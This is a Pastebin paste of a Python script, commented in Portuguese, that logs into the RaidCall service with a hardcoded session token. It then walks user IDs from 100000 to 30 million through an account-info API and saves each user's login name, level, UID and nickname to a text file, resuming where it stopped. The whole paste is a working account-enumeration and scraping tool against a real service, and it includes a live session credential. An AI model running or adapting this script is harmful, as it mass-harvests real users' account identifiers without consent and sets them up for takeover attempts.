Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import simplejson as json
- import requests
- import sys
- try:
- arq_config = open('raidcall-data.conf', 'r')
- line = int(arq_config.readline().strip())
- if line == 100000:
- print("Vou começar em a procurar em: {} e vou parar em 30000000\n".format(line))
- else:
- print("Parei em {} e estou continuando.\n".format(line-1))
- except Exception: ## AQUI CRIAMOS O ARQUIVO DE CONFIGURAÇÃO SE ELE NÃO EXISTIR
- print("Criando arquivo de configuração...")
- conf = open('raidcall-data.conf', 'w')
- conf.write('100000')
- conf.close()
- print("Arquivo criado, execute o programa novamente!")
- input("Pressione ENTER para sair:")
- sys.exit()
- try:
- ## AQUI CRIAMOS UMA SESSÃO PARA USAR A API
- print("Criando sessão...")
- session_rc = requests.Session()
- param = 'CmFVrQXd1rgUch2LgbzwCxGGP0UzsrFnLtLjqaJ89g5UY37tHjC4XMJXRWzHt/vvDH8TBCIAzc4=' ## PARAM DA CONTA naka_041
- cookie_get = session_rc.get('http://www.raidcall.com.ru/user/group/app.php?sid=14076546&pid=-1&uid=27784403¶m={0}'.format(param))
- for uid in range(line, 30000000):
- url = session_rc.get("http://www.raidcall.com.ru/api/getAccountInfo.php?uid=%s&sid=14076546" %uid)
- parsed_json = json.loads(url.text)
- level = parsed_json.get('level')
- account = parsed_json.get('account')
- name = parsed_json.get('name')
- arq_config = open('raidcall-data.conf', 'w') ## AQUI SALVAMOS ONDE ESTAMOS NO ARQUIVO DE CONFIGURAÇÃO
- arq_config.write("{}".format(uid+1)) ## AQUI SOMAMOS +1 NO ARQUIVO DE CONFIGURAÇÃO PARA NÃO FICAR REPETINDO AS CONTAS
- arq_config.close()
- print("ACCOUNT FOUND:{} | LVL:{} | UID:{} | NAME:{}".format(account, level, uid, name))
- with open('raw.txt', 'a', encoding="utf-8") as arq: # AQUI SALVAMOS AS CONTAS EM UM TXT
- arq.write("USER:{} | LVL:{} | UID:{} | NICK:{}".format(account, level, uid, name))
- arq.write("\n")
- except requests.exceptions.RequestException as e: ## TRATAMENTO DO ERRO DE REDE
- print("Ocorreu algum erro de rede, mas vou continuar de onde parei :)\n")
- input("Pressione ENTER para sair:")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement